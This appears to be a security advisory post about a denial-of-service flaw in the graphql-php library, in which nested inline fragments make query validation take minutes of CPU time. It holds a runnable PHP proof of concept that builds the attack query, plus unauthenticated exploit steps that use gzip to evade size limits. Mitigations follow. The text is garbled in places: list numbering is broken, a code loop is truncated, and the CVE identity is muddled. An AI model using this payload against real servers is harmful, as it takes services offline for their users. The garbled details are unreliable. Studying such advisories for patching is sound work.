graphql-php, Algorithmic Complexity (DoS), CVE-2023-26144 (Critical)

Listen to this Post

How CVE-2023-26144 Works (20 lines):

1. GraphQL validation rule `OverlappingFieldsCanBeMerged` compares fields pairwise.

  1. Original CVE-2023-26144 was fixed by a `PairSet` cache keyed on named fragments.
  2. Inline fragments have no name → they bypass the cache entirely.
  3. Code path at `OverlappingFieldsCanBeMerged.php:266` flattens inline fragments into parent selection map.
  4. For each response name, array `$astAndDefs[$responseName]` collects all inline fragment fields.
    6. `collectConflictsWithin` loops over that array: `for ($i=0; $ifor ($j=$i+1; …).
  5. If `N` inline fragments select same response name → `N(N-1)/2` comparisons.
  6. Recursion into sub‑selections multiplies cost: outer `n` × inner `m` fragments → O(n² × m²).

9. No comparison budget or validation timeout exists.

  1. A 364 KB query with n=200, `m=100` triggers ~200²×100² = 400M field pair checks.
  2. Measured on webonyx/[email protected], PHP 8.3.30: 117 seconds CPU per request.
  3. The previous `PairSet` cache never sees inline fragments → zero effect.
  4. Rule is part of default validation – enabled in every standard GraphQL‑PHP deployment.
  5. Query complexity/depth rules do not help (depth=3, complexity=1 in PoC).
    15. `max_execution_time` kills worker after 30s but CPU already exhausted.
  6. gzip compression bypasses body‑size limits (364 KB → few KB over wire).
  7. php‑fpm pool (5‑50 workers) can be pinned by few parallel requests.
  8. Same vulnerability class as CVE‑2023‑26144 (partial fix) and CVE‑2023‑28867 (full fix via Adameit algorithm).

19. No validation timeout configurable in `DocumentValidator`.

  1. Attackers send crafted query with nested inline fragments to cause denial of service.

DailyCVE Form:

Platform: graphql-php
Version: v15.31.4 (14.x–15.x)
Vulnerability: Algorithmic complexity DoS
Severity: Critical
Date: 2026-04-08

Prediction: 2026-05-15

What Undercode Say:

Reproduce PoC (requires composer require webonyx/graphql-php:v15.31.4)
php -r "require 'vendor/autoload.php';
use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;
\$schema = BuildSchema::build('type Query { field: Node } type Node { f: Node, x: String }');
function gen(\$n,\$m){ \$inner=str_repeat('... on Node { x } ',\$m); return '{ field { '.str_repeat("... on Node { f { \$inner } } ",\$n).' } }'; }
\$q = gen(200,100); \$doc = Parser::parse(\$q); \$t=microtime(true); DocumentValidator::validate(\$schema,\$doc); echo 'Time: '.(microtime(true)-\$t).'s';"
Expected output: ~117 seconds CPU, no errors
Check if your graphql-php version is vulnerable
composer show webonyx/graphql-php | grep versions
Affected: all 14.x and 15.x up to latest (v15.31.4 as of 2026-04-08)

Exploit:

Send HTTP POST request to `/graphql` with `Content-Encoding: gzip` containing a compressed query of 200 outer inline fragments each nesting 100 inner inline fragments, all selecting the same field name x. Example query fragment:
`{ field { … on Node { f { … on Node { x } } } }` repeated 200×100 times. No authentication required; validation occurs before any resolver execution.

Protection from this CVE:

  1. Apply Adameit algorithm (O(n log n) uniqueness check) – backport from graphql‑java.
  2. Add comparison budget – throw `Error` after 10,000 field pair comparisons.
  3. Cap inline‑fragment flattening – limit `count($astAndDefs[$responseName])` to 1000 entries.
  4. Temporary WAF rule: block queries containing `… on` repeated more than 50 times.
  5. Rate‑limit GraphQL endpoints and enforce strict timeouts at reverse proxy (e.g., proxy_read_timeout 5s).

Impact:

  • Any PHP application using GraphQL‑PHP default validation (Lighthouse, OverblogGraphQLBundle, wp‑graphql, Drupal GraphQL) is vulnerable.
  • Single 364 KB request ties up a PHP worker for 117 seconds → low‑rate DoS (e.g., 10 parallel requests saturate 50‑worker pool).
  • No error message returned – attacker cannot distinguish from slow legitimate query, bypassing monitoring.
  • Existing CVE‑2023‑26144 patch is ineffective against this variant.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top